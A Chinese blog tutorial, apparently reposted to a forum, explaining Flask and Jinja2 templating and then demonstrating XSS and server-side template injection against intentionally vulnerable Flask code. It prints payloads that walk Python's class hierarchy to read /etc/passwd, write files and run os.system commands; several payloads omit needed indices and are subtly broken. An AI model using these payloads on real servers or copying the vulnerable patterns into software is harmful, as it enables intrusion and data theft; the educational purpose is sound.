戒腥的猫 發表於 2020-1-12 00:32:00

Python——flask漏洞探究

<blockquote>
<p>python的用途是真的多,就连网站也能做,这个有点像Java的Servlet</p>
</blockquote>
<h1 id="flask基础">flask基础</h1>
<h2 id="hello-world">hello world</h2>
<p>我们先从基础的开始,在网页上打出<code>hello world</code>,python代码如下:</p>
<pre><code class="language-python">from flask import Flask

app=Flask(__name__)

@app.route('/')
def test():
    return 'hello world'
</code></pre>
<p>其中<code>@app.route</code>就有点类似于Java的<code>@WebServlet</code>了,上述代码中,当你在浏览器访问<code>127.0.0.1:5000/</code>时就能够看到输出了,5000是flask的默认端口</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112002934159-320150435.png" alt="" loading="lazy"></p>
<h2 id="模板">模板</h2>
<p>flask使用的渲染引擎是<code>Jinja2</code>,我们可以直接return一些HTML代码来实现网页的格式化,但是这样会导致XSS漏洞,如下</p>
<pre><code class="language-python">from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '&lt;html&gt;%s&lt;/html&gt;'
    return html%code
</code></pre>
<p><code>methods</code>传参表示<code>/</code>仅接受<code>GET,POST</code>类型的传参,这里我们接受了名为<code>test</code>的<code>GET</code>传参然后替换了<code>html</code>中的%s,当我们在网页中传参<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>就可以看到引起了XSS注入</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112002959486-801525402.png" alt="" loading="lazy"></p>
<h3 id="render_template_string">render_template_string</h3>
<p>为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染,代码如下</p>
<pre><code class="language-python">from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    html='&lt;html&gt;{{var}}&lt;html&gt;'
    test = request.args.get('test')
    return render_template_string(html,var=test)
</code></pre>
<p><code>{{}}</code>为变量包裹标示符,在<code>render_template_string</code>传参即可替换<code>{{var}}</code>为GET传参变量<code>test</code>,再次进行XSS实验,可以看到已经被转义了</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112003015796-591130037.png" alt="" loading="lazy"></p>
<h3 id="render_template">render_template</h3>
<p>在py文件中写HTML有点麻烦,不直观。在flask中就有一种叫做模板的东西,我们可以借助<code>render_template</code>从templates文件夹中加载我们想要的html文件,然后对里面的内容进行修改输出。首先我在templates中放入这样的一个<code>index.html</code>:</p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset="utf-8"&gt;
&lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;this is template html file&lt;/h1&gt;
    &lt;p&gt;get var {{var}}&lt;p&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p><code>index.py</code>代码如下:</p>
<pre><code class="language-python">from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')
def test():
    return render_template('index.html',var="test")
</code></pre>
<p>可以理解为我使用<code>render_template</code>函数引用了<code>templates</code>文件夹下面的<code>index.html</code>模板,然后传入一个参数<code>var</code>,用来控制模板中的{{var}},我们再到浏览器中看看</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112003028018-2136285824.png" alt="" loading="lazy"></p>
<p>可以看到{{var}}已经被替换成了<code>test</code>,当我们传入XSS语句时是不会执行的,他同样会自动渲染</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112003036478-1582480149.png" alt="" loading="lazy"></p>
<h2 id="ssti文件读取命令执行">SSTI文件读取/命令执行</h2>
<blockquote>
<p>SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式</p>
</blockquote>
<p>在Jinja2引擎中,<code>{{}}</code>不仅仅是变量标示符,也能执行一些简单的表达式,产生该漏洞的代码如下</p>
<pre><code class="language-python">from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '&lt;html&gt;%s&lt;/html&gt;'%code
    return render_template_string(html)
</code></pre>
<p>当我们传入?test={{7*7}},神奇的事情发生了</p>
<p><img src="https://img2018.cnblogs.com/blog/1474626/202001/1474626-20200112003052517-1050122621.png" alt="" loading="lazy"></p>
<p>接下来我在演示介绍一下如何利用这个漏洞实现文件读写和命令执行,其大致思路如下</p>
<pre><code class="language-python">找到父类&lt;type 'object'&gt;–&gt;寻找子类 __subclasses__()–&gt;找关于命令执行或者文件操作的模块
</code></pre>
<h3 id="读取文件">读取文件</h3>
<ol>
<li>获取<code>’‘</code>的类对象</li>
</ol>
<pre><code class="language-python">&gt;&gt;&gt; ''.__class__
&lt;type 'str'&gt;
</code></pre>
<ol start="2">
<li>追溯继承树</li>
</ol>
<pre><code class="language-python">&gt;&gt;&gt; ''.__class__.__mro__
(&lt;type 'str'&gt;, &lt;type 'basestring'&gt;, &lt;type 'object'&gt;)
</code></pre>
<p>可以看到<code>object</code>已经出来了</p>
<ol start="3">
<li>继而向下查找<code>object</code>的子类</li>
</ol>
<pre><code class="language-python">''.__class__.__mro__.__subclasses__()
[&lt;type 'type'&gt;, &lt;type 'weakref'&gt;, &lt;type 'weakcallableproxy'&gt;, &lt;type 'weakproxy'&gt;, &lt;type 'int'&gt;, &lt;type 'basestring'&gt;, &lt;type 'bytearray'&gt;, &lt;type 'list'&gt;, &lt;type 'NoneType'&gt;, &lt;type 'NotImplementedType'&gt;, &lt;type 'traceback'&gt;, &lt;type 'super'&gt;, &lt;type 'xrange'&gt;, &lt;type 'dict'&gt;, &lt;type 'set'&gt;, &lt;type 'slice'&gt;, &lt;type 'staticmethod'&gt;, &lt;type 'complex'&gt;, &lt;type 'float'&gt;, &lt;type 'buffer'&gt;, &lt;type 'long'&gt;, &lt;type 'frozenset'&gt;, &lt;type 'property'&gt;, &lt;type 'memoryview'&gt;, &lt;type 'tuple'&gt;, &lt;type 'enumerate'&gt;, &lt;type 'reversed'&gt;, &lt;type 'code'&gt;, &lt;type 'frame'&gt;, &lt;type 'builtin_function_or_method'&gt;, &lt;type 'instancemethod'&gt;, &lt;type 'function'&gt;, &lt;type 'classobj'&gt;, &lt;type 'dictproxy'&gt;, &lt;type 'generator'&gt;, &lt;type 'getset_descriptor'&gt;, &lt;type 'wrapper_descriptor'&gt;, &lt;type 'instance'&gt;, &lt;type 'ellipsis'&gt;, &lt;type 'member_descriptor'&gt;, &lt;type 'file'&gt;, &lt;type 'PyCapsule'&gt;, &lt;type 'cell'&gt;, &lt;type 'callable-iterator'&gt;, &lt;type 'iterator'&gt;, &lt;type 'sys.long_info'&gt;, &lt;type 'sys.float_info'&gt;, &lt;type 'EncodingMap'&gt;, &lt;type 'fieldnameiterator'&gt;, &lt;type 'formatteriterator'&gt;, &lt;type 'sys.version_info'&gt;, &lt;type 'sys.flags'&gt;, &lt;type 'exceptions.BaseException'&gt;, &lt;type 'module'&gt;, &lt;type 'imp.NullImporter'&gt;, &lt;type 'zipimport.zipimporter'&gt;, &lt;type 'posix.stat_result'&gt;, &lt;type 'posix.statvfs_result'&gt;, &lt;class 'warnings.WarningMessage'&gt;, &lt;class 'warnings.catch_warnings'&gt;, &lt;class '_weakrefset._IterationGuard'&gt;, &lt;class '_weakrefset.WeakSet'&gt;, &lt;class '_abcoll.Hashable'&gt;, &lt;type 'classmethod'&gt;, &lt;class '_abcoll.Iterable'&gt;, &lt;class '_abcoll.Sized'&gt;, &lt;class '_abcoll.Container'&gt;, &lt;class '_abcoll.Callable'&gt;, &lt;type 'dict_keys'&gt;, &lt;type 'dict_items'&gt;, &lt;type 'dict_values'&gt;, &lt;class 'site._Printer'&gt;, &lt;class 'site._Helper'&gt;, &lt;type '_sre.SRE_Pattern'&gt;, &lt;type '_sre.SRE_Match'&gt;, &lt;type '_sre.SRE_Scanner'&gt;, &lt;class 'site.Quitter'&gt;, &lt;class 'codecs.IncrementalEncoder'&gt;, &lt;class 'codecs.IncrementalDecoder'&gt;]
</code></pre>
<p>耐心找一下,可以找到第40个为<code>&lt;type&gt; 'file'</code></p>
<ol start="4">
<li>执行命令</li>
</ol>
<pre><code class="language-python">''.__class__.__mro__.__subclasses__()('/etc/passwd').read()
</code></pre>
<p>执行完这条命令就能得到<code>passwd</code>文件了</p>
<h3 id="写入文件">写入文件</h3>
<p>写入文件的方法和上面类似</p>
<pre><code>''.__class__.__mro__.__subclasses__()('/tmp/1','w').write('123')
</code></pre>
<h3 id="执行命令">执行命令</h3>
<p>执行命令有很多种方法,这里要找的是<code>&lt;class 'site._Printer'&gt;</code>,找一下,在第71个,那么我们执行命令</p>
<pre><code class="language-python">''.__class__.__mro__.__subclasses__().__init__.__globals__['os'].system('ls')
</code></pre>
<p>这样就可以加载到os模块并执行ls命令,命令执行结果方法不唯一,payload也不一定一致,但思路大体就是这样了</p><br><br>
来源:https://www.cnblogs.com/Rasang/p/12181654.html
頁: [1]
查看完整版本: Python——flask漏洞探究